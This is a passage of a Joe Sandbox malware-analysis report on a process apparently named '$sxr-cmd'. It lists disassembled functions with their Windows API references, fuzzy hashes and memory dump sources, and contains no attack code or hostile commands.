Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction ID: 9eeae631cf3cdc8019f0bd82827617a5809f444d6c120b500581f94547ff4a79
Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction Fuzzy Hash: 1CF03022618F81D6EB406B12F444079FB60FF89BE0B889534D94D17B14CF7DD469C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E1130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E138B

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

Part of subcall function 00007FF7137E1140: towupper.MSVCRT ref: 00007FF7137E11D3

Part of subcall function 00007FF7137F417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F41AD

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E14A6

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 6d7e22519ad204417169069617a608dea1faeb656b6d76c54eaa8f80ef489a44
Instruction ID: 81ecaa1c538bd717ef4efebe26dd5ce2f8aba8580d1bcb8b134750aa784f8b6f
Opcode Fuzzy Hash: 6d7e22519ad204417169069617a608dea1faeb656b6d76c54eaa8f80ef489a44
Instruction Fuzzy Hash: 2A619332A08B828AF790EB65E4802EDB7A4FB48768F944235DE5D27799DF38D45CC710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F4878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF7137F48DE
_wcsnicmp.MSVCRT ref: 00007FF7137F48FF
wcschr.MSVCRT ref: 00007FF7137F493E

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: 14e2e029e2db4ad023fe39f4d0fdd58a578bfaa93e237b04781a15a7424acf6c
Instruction ID: fdcae01c8e128d661820ee323d9e64998542845afccb571e0377de5adf9378af
Opcode Fuzzy Hash: 14e2e029e2db4ad023fe39f4d0fdd58a578bfaa93e237b04781a15a7424acf6c
Instruction Fuzzy Hash: 8C518215A0CE4281FBA0BF15A4401B9A2A5FF49FA0FD88531C96E37AD5DE2CD54D8370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380F358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71380F3B5

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380F401
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380F442
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF71380F468

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: 0baa5ef54deadc9fcc920d5a13933ba0048a94416471efdfea7fe696d0336e1b
Instruction ID: 6bf6a2c46658116bcdf8625624e78c16eb2cfc40f427ded4cbb5ecbacc8580a3
Opcode Fuzzy Hash: 0baa5ef54deadc9fcc920d5a13933ba0048a94416471efdfea7fe696d0336e1b
Instruction Fuzzy Hash: 3D316D32619F828AEBA0EF11E8407E9B7A4FB88B94F844135DA4D57B54CF38D649C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F8F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF7137F8FF3
RtlLookupFunctionEntry.NTDLL ref: 00007FF7137F9012
RtlVirtualUnwind.NTDLL ref: 00007FF7137F905F
__raise_securityfailure.LIBCMT ref: 00007FF7137F9144

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction ID: 271991f70b5ae7f8b735450bf3d01a96cb6566e1bbffd7de1f0979f9ec99afc8
Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction Fuzzy Hash: 6641B435A08F4289EB90AF18F880375E7A4FB88764F900136D99D52764EF7EE56CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F8470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 00007FF7137F848E
wcstol.MSVCRT ref: 00007FF7137F84A8
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0 ref: 00007FF7137F853F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcstol$lstrcmp
String ID:
API String ID: 3515581199-0
Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction ID: f77109e7b7990efcb0ab0b845aed7f6a156466b809214244d8c1a46fae780fa2
Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction Fuzzy Hash: 8E21C132A08E5293E7A06F69A0D413AEEA8FB4D760F855134DB6F53A54CE6DE44CC620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E4F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7138029C4
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7138029E9
_get_osfhandle.MSVCRT ref: 00007FF713802A22
SetFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713802A39

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$TimeWrite
String ID:
API String ID: 4019809305-0
Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction ID: 86ccff35940b25d2e61221e022b8a3f53ed0764196ae8a260aebeb0e5d7d24da
Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction Fuzzy Hash: 96318122A08B4287E7E06B149480738E691BF49B70FD45238D95E67795CF7DD46C8630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713811914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71381196F

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7138119B3
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7138119D6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF713811A01

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: 6748089b4443443f9a7b5956cbfff3df7ba18ce7bcf44918d808dc6be18eadc0
Instruction ID: 380294a737a415dd4f67ed1195f8825fd0f93e0cafe62696934ff6eda986818e
Opcode Fuzzy Hash: 6748089b4443443f9a7b5956cbfff3df7ba18ce7bcf44918d808dc6be18eadc0
Instruction Fuzzy Hash: 4C31AB32705F818AEBA09F21D8843E8B7A0FB89B94F844035CA5D5B744CF3DD659C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380E810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF71380E836
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380E855
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380E877
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380E8AE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction ID: 5eaef96ef6a0a42dcf915e6372901be268c6147914e6e0a3a4189025fcd2f5da
Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction Fuzzy Hash: 2D217C31A08F028BE7947B11A44017AF6A1FB89BA0F844135E90E27784CF3EE428CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F7CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137F7D54
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137F7D68

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction ID: 728a9af83dde2cbd332ebe61bc9142caeb7a6a62735bb5a116d95da25e8403d9
Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction Fuzzy Hash: 7221B861608F4186EB44AB51A540079FBA1FF8DBE0B849130DE2E63755DF3DE40D8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E6A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F3C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F3D0C
Part of subcall function 00007FF7137F3C24: towupper.MSVCRT ref: 00007FF7137F3D2F
Part of subcall function 00007FF7137F3C24: iswalpha.MSVCRT ref: 00007FF7137F3D4F
Part of subcall function 00007FF7137F3C24: towupper.MSVCRT ref: 00007FF7137F3D75
Part of subcall function 00007FF7137F3C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F3DBF

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137E6ABF
RtlFreeHeap.NTDLL(?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137E6AD3

Part of subcall function 00007FF7137E6B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF7137E6AE8,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6B8B
Part of subcall function 00007FF7137E6B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF7137E6AE8,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6B97
Part of subcall function 00007FF7137E6B84: RtlFreeHeap.NTDLL(?,?,?,?,00007FF7137E6AE8,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6BAF

Part of subcall function 00007FF7137E6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E6AF1,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6B39
Part of subcall function 00007FF7137E6B30: RtlFreeHeap.NTDLL(?,?,?,00007FF7137E6AF1,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6B4D
Part of subcall function 00007FF7137E6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E6AF1,?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925), ref: 00007FF7137E6B59

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137E6B03
RtlFreeHeap.NTDLL(?,?,?,00007FF71380EA0F,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137E6B17

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
String ID:
API String ID: 3512109576-0
Opcode ID: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
Instruction ID: 731034cc1d6e13a39e0f41232fd60d2a57bfa8ef6fe3322070c527bae552a847
Opcode Fuzzy Hash: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
Instruction Fuzzy Hash: 0721A122A09E8285EB84BB65D4502B8BBE1EF5DB64F948135C90E27351DF3DE45DC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EB6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EAF82), ref: 00007FF7137EB6D0
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EAF82), ref: 00007FF7137EB6E7
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EAF82), ref: 00007FF7137EB701
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EAF82), ref: 00007FF7137EB715

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction ID: a97f3293afb1b94a9ad5a9cbf4f5139a872fdb44371a3507ca758b9eb079b436
Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction Fuzzy Hash: 7921366290DE42C6EB95AB51E480078EA91FF4CBA0BC89536DA4E23B54DF3CD45DD730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380CFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7137F507A), ref: 00007FF71380D01C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7137F507A), ref: 00007FF71380D033
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7137F507A), ref: 00007FF71380D06D
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7137F507A), ref: 00007FF71380D07F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction ID: a39cfa7076a43273d335208b09b9e3e5488a839591ce6610f718afe0e5feb89f
Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction Fuzzy Hash: ED116331618A4287DB845B10F05417AF7E0FB8ABA5F805135EA8E57B54DF7DD0598B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E59E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F1EA0: wcschr.MSVCRT ref: 00007FF7137F1EB3

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E5A2E
_open_osfhandle.MSVCRT ref: 00007FF7137E5A4F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF7137E260D), ref: 00007FF7138037AA
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF7138037D2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
